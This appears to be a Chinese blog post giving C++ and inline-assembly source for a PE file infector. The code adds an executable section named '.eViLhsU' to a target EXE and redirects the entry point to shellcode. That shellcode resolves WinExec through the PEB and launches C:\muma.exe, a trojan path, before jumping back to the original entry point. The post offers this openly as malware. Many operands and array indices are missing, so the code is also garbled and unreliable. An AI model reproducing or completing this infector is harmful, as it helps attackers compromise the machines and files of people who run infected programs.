感染EXE文件代码(C++)

C++代码


#include <windows.h>   
#include <winnt.h>   
#include <stdio.h>   
#include <assert.h>   
   
#define DEBUG 1   
#define EXTRA_CODE_LENGTH 18   
#define SECTION_SIZE 0x1000   
#define SECTION_NAME ".eViLhsU"   
#define FILE_NAME_LENGTH 30   
   
int Align(int size, int ALIGN_BASE)   
{   
    int ret;   
    int result;   
   
    assert( 0 != ALIGN_BASE );     
    result = size % ALIGN_BASE;   
   
    if (0 != result) //余数不为零,也就是没有整除   
    {   
         ret = ((size / ALIGN_BASE) + 1) * ALIGN_BASE;   
    }   
    else   
    {   
         ret = size;   
    }   
   
    return ret;   
}   
   
int infect(char *sFilename)   
{   
    int i;   
    BYTE jmp;   
    FILE *pNewFile;   
    int numOfSections;   
    int FILE_ALIGN_MENT;   
    int SECTION_ALIGN_MENT;   
    int extraLengthAfterAlign;   
    int extra_data_real_length;   
   
    unsigned int newEP,oldEP;     
    char *pExtra_data;   
    char srcFileName;   
    char newFileName;   
   
    IMAGE_DOS_HEADER DosHeader;   
    IMAGE_NT_HEADERS NtHeader;   
    IMAGE_SECTION_HEADER SectionHeader;   
    IMAGE_SECTION_HEADER newSectionHeader; //新增加的节的节头   
   
        
    strcpy(newFileName,sFilename);   
    strcpy(srcFileName,newFileName);   
    strcat(srcFileName, ".bak");   
   
    if (!CopyFile(newFileName,srcFileName, FALSE))   
    {   
          printf("文件备份失败\n");   
          return 1;   
    }   
   
    pNewFile = fopen(newFileName, "rb+");     
   
    if (NULL == pNewFile)   
    {   
          printf("打开文件失败\n");   
          return 1;   
    }   
   
    fseek(pNewFile, 0, SEEK_SET);   
    //读取IMAGE_DOS_HEADER   
    fread(&DosHeader, sizeof(IMAGE_DOS_HEADER), 1, pNewFile);   
   
    if (DosHeader.e_magic != IMAGE_DOS_SIGNATURE)   
    {   
        printf("该文件不是有效的PE文件\n");   
        return 1;   
    }   
   
    //先定位到pe文件头,然后读取IMAGE_NT_HEADERS   
    fseek(pNewFile, DosHeader.e_lfanew, SEEK_SET);   
    fread(&NtHeader, sizeof(IMAGE_NT_HEADERS), 1, pNewFile);   
   
    if (NtHeader.Signature != IMAGE_NT_SIGNATURE)   
    {   
        printf("该文件不是有效的PE文件\n");   
        return 1;   
    }   
   
   
    numOfSections = NtHeader.FileHeader.NumberOfSections;   
    FILE_ALIGN_MENT = NtHeader.OptionalHeader.FileAlignment;   
    SECTION_ALIGN_MENT = NtHeader.OptionalHeader.SectionAlignment;   
   
    //保存原来的入口备用   
    oldEP = NtHeader.OptionalHeader.AddressOfEntryPoint;   
   
    for (i = 0; i < numOfSections; i++)   
    {   
        fread(&SectionHeader, sizeof(IMAGE_SECTION_HEADER), 1, pNewFile);   
   
        printf("节:%s\n", SectionHeader.Name);                 
   
        if(strstr((const char*)SectionHeader.Name,".eViLhsU"))   
        {   
            printf("程序已经被感染!\n");     
            return 1;   
        }   
    }   
   
    extraLengthAfterAlign = Align(EXTRA_CODE_LENGTH, FILE_ALIGN_MENT);   
    NtHeader.FileHeader.NumberOfSections++;     
    memset(&newSectionHeader, 0, sizeof(IMAGE_SECTION_HEADER));   
    strncpy((char*)newSectionHeader.Name, SECTION_NAME, strlen(SECTION_NAME));     
   
    newSectionHeader.VirtualAddress = Align(SectionHeader.VirtualAddress +     
                                            SectionHeader.Misc.VirtualSize,   
                                            SECTION_ALIGN_MENT);   
   
    newSectionHeader.Misc.VirtualSize = Align(extraLengthAfterAlign, SECTION_ALIGN_MENT);   
   
    newSectionHeader.PointerToRawData = Align(   
                                              SectionHeader.PointerToRawData +   
                                              SectionHeader.SizeOfRawData,   
                                              FILE_ALIGN_MENT   
                                             );     
   
    newSectionHeader.SizeOfRawData = Align(SECTION_SIZE, FILE_ALIGN_MENT);   
    newSectionHeader.Characteristics = 0xE0000020; //可读可些可执行   
    NtHeader.OptionalHeader.SizeOfCode = Align(NtHeader.OptionalHeader.SizeOfCode     
                                       + SECTION_SIZE, FILE_ALIGN_MENT);     
    NtHeader.OptionalHeader.SizeOfImage = NtHeader.OptionalHeader.SizeOfImage+     
                                          Align(SECTION_SIZE, SECTION_ALIGN_MENT);   
    NtHeader.OptionalHeader.DataDirectory.VirtualAddress = 0;   
    NtHeader.OptionalHeader.DataDirectory.Size = 0;   
   
    fseek(pNewFile, 0, SEEK_END);   
    newEP = newSectionHeader.VirtualAddress;   
    NtHeader.OptionalHeader.AddressOfEntryPoint = newEP;   
    //定位节表尾部   
    fseek(   
          pNewFile,     
          DosHeader.e_lfanew +   
          sizeof(IMAGE_NT_HEADERS)     
          + numOfSections * sizeof(IMAGE_SECTION_HEADER),   
          SEEK_SET   
         );   
    //写入修正后的节头   
    fwrite(&newSectionHeader, sizeof(IMAGE_SECTION_HEADER), 1, pNewFile);   
    fseek(pNewFile, DosHeader.e_lfanew, SEEK_SET);   
    //写入修正后的PE文件头   
    fwrite(&NtHeader, sizeof(IMAGE_NT_HEADERS), 1, pNewFile);   
    fseek(pNewFile, 0, SEEK_END);   
   
    //写入新节,这里先写入0   
    for (i=0; i<Align(SECTION_SIZE, FILE_ALIGN_MENT); i++)   
    {   
       fputc(0, pNewFile);   
    }   
   
    fseek(pNewFile, newSectionHeader.PointerToRawData, SEEK_SET);   
   
goto GetExtraData;   
   
extra_data_start:   
_asm pushad   
//获取kernel32.dll的基址   
_asm mov eax, fs:0x30 ;PEB的地址   
_asm mov eax,    
_asm mov esi,    
_asm lodsd   
_asm mov eax, ;eax就是kernel32.dll的基址   
_asm mov edi, eax //同时保存kernel32.dll的基址到edi   
   
//通过搜索 kernel32.dll的导出表查找GetProcAddress函数的地址   
_asm mov ebp, eax   
_asm mov eax,    
_asm mov edx,    
_asm add edx, ebp   
_asm mov ecx,    
_asm mov ebx,    
_asm add ebx, ebp   
   
search:   
_asm dec ecx   
_asm mov esi,    
   
_asm add esi, ebp   
_asm mov eax, 0x50746547   
_asm cmp , eax //比较"PteG"   
_asm jne search   
_asm mov eax, 0x41636f72   
_asm cmp , eax   
_asm jne search   
_asm mov ebx,    
_asm add ebx, ebp   
_asm mov cx,    
_asm mov ebx,    
_asm add ebx, ebp   
_asm mov eax,    
_asm add eax, ebp //eax保存的就是GetProcAddress的地址   
   
//为局部变量分配空间   
_asm push ebp   
_asm sub esp, 50h   
_asm mov ebp, esp   
   
//查找LoadLibrary的地址   
_asm mov , eax //把GetProcAddress的地址保存到ebp + 40中   
   
//开始查找LoadLibrary的地址, 先构造"LoadLibrary\0"   
_asm push 0x0   
   
_asm push DWORD PTR 0x41797261   
_asm push DWORD PTR 0x7262694c   
_asm push DWORD PTR 0x64616f4c   
_asm push esp //压入"LoadLibrary\0"的地址   
_asm push edi //edi:kernel32的基址   
_asm call //返回值(即LoadLibrary的地址)保存在eax中   
_asm mov , eax //保存LoadLibrary的地址到ebp + 44h   
   
_asm push dword ptr 0x00636578   
_asm push dword ptr 0x456e6957   
_asm push esp   
_asm push edi   
_asm call          //GetProcAddress(Kernel32基止,"WinExec")   
_asm mov ,eax        //WinExec()的地址放在里   
   
_asm mov byte ptr ,43h     
_asm mov byte ptr ,3ah     
_asm mov byte ptr ,5ch     
_asm mov byte ptr ,6dh     
_asm mov byte ptr ,75h     
_asm mov byte ptr ,6dh     
_asm mov byte ptr ,61h     
_asm mov byte ptr ,2eh     
_asm mov byte ptr ,65h     
_asm mov byte ptr ,78h     
_asm mov byte ptr ,65h     
_asm mov byte ptr ,0h   
   
_asm lea edi,                  
_asm push edi                    
_asm call                
   
_asm mov esp, ebp   
_asm add esp, 50h   
_asm popad   
extra_data_end:   
   
   
GetExtraData:   
_asm pushad;   
_asm lea eax, extra_data_start;   
_asm mov pExtra_data, eax;   
_asm lea edx, extra_data_end;   
_asm sub edx, eax;   
_asm mov extra_data_real_length, edx;   
_asm popad;   
   
   
//写入附加数据   
   for (i = 0; i < extra_data_real_length; i++)   
   {   
       fputc(pExtra_data, pNewFile);   
   }   
   
   
   oldEP = oldEP - (newEP + extra_data_real_length) - 5;   
   
   jmp = 0xE9;   
   fwrite(&jmp, sizeof(jmp), 1, pNewFile);   
   fwrite(&oldEP, sizeof(oldEP), 1, pNewFile);   
   
   fclose(pNewFile);     
   
return 0;   
}   
   
BOOL AddEmptySection(char *ptFile,UINT uSize)   
{   
    HANDLE hFile = NULL;   
    HANDLE hMapping = NULL;     
    LPVOID bPointer = NULL;   
    PBYTE  pData = NULL;   
   
    hFile = CreateFile(   
        ptFile,     
        GENERIC_READ|GENERIC_WRITE,     
        FILE_SHARE_READ|FILE_SHARE_WRITE,   
        NULL,     
        OPEN_EXISTING,     
        FILE_FLAG_SEQUENTIAL_SCAN,   
        NULL);   
    if (hFile == INVALID_HANDLE_VALUE)   
    {   
        return FALSE;   
    }   
   
    DWORD dwSize = GetFileSize( hFile,NULL);   
    if( dwSize > 10000000)   
    {   
        CloseHandle(hFile);   
        return FALSE;   
    }   
        
    //内存映射,创建一个有名的共享内存   
    if (!(hMapping = CreateFileMapping(hFile,     
        0,     
        PAGE_READWRITE | SEC_COMMIT,     
        0,     
        dwSize,     
        NULL)))     
    {   
        CloseHandle(hFile);     
        return FALSE;   
    }     
   
    //映射对象视图,进行读写操作   
    if (!(bPointer = MapViewOfFile(hMapping, FILE_MAP_ALL_ACCESS, 0, 0, dwSize)))     
    {      
        CloseHandle(hMapping);     
        CloseHandle(hFile);     
        return FALSE;     
    }     
   
    pData = (PBYTE)bPointer;   
   
    if (((PIMAGE_DOS_HEADER) pData)->e_magic != IMAGE_DOS_SIGNATURE)   
    {   
        return FALSE;   
    }   
   
    if( *(DWORD*)(((PIMAGE_DOS_HEADER) pData)->e_res2) == 841127)      
    {     
        UnmapViewOfFile(bPointer);   
        CloseHandle(hMapping);     
        CloseHandle(hFile);     
        return FALSE;   
    }   
    else   
    {   
         //设置标志   
         *(DWORD*)(((PIMAGE_DOS_HEADER) pData)->e_res2) = 841127;   
    }   
   
    PIMAGE_NT_HEADERS pNTHdr = (PIMAGE_NT_HEADERS) (pData + ((PIMAGE_DOS_HEADER) bPointer)->e_lfanew);   
    if (pNTHdr->Signature != IMAGE_NT_SIGNATURE)   
    {   
        return FALSE;   
    }   
   
    if ((pNTHdr->FileHeader.NumberOfSections + 1) * sizeof(IMAGE_SECTION_HEADER) >   
        pNTHdr->OptionalHeader.SizeOfHeaders)   
    {   
        return FALSE;   
    }   
   
    DWORD uCodeDelta = Align(uSize, pNTHdr->OptionalHeader.SectionAlignment);   
    DWORD dwFileDelta = Align(uSize, pNTHdr->OptionalHeader.FileAlignment);   
    PIMAGE_SECTION_HEADER pNewSec = (PIMAGE_SECTION_HEADER) (pNTHdr + 1)     
                                  + pNTHdr->FileHeader.NumberOfSections;   
    PIMAGE_SECTION_HEADER pLastSec = pNewSec - 1;   
   
    memcpy(pNewSec->Name, ".EsT_", 5);   
    pNewSec->VirtualAddress = pLastSec->VirtualAddress + Align(pLastSec->Misc.VirtualSize,     
                                                               pNTHdr->OptionalHeader.SectionAlignment);   
    pNewSec->PointerToRawData = pLastSec->PointerToRawData + pLastSec->SizeOfRawData;   
    pNewSec->Misc.VirtualSize = uSize;   
    pNewSec->SizeOfRawData = 0;   
    pNewSec->Characteristics = IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_WRITE ;   
   
    pNTHdr->FileHeader.NumberOfSections++;   
    pNTHdr->OptionalHeader.SizeOfCode += uCodeDelta;   
    pNTHdr->OptionalHeader.SizeOfImage += dwFileDelta;   
    pNTHdr->OptionalHeader.DataDirectory.Size = 0;   
    pNTHdr->OptionalHeader.DataDirectory.VirtualAddress = 0;   
   
    UnmapViewOfFile(bPointer);     
    CloseHandle(hMapping);   
    CloseHandle(hFile);   
    return TRUE;   
}   
   
int main(int argc, char *argv[])   
{   
   
    if (NULL == argv)   
    {   
        printf("参数错误\n");     
    }   
   
    if(infect(argv)) exit(0); //感染程序   
    AddEmptySection(argv,100);//增加空节   
   
    return 0;   
}   
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值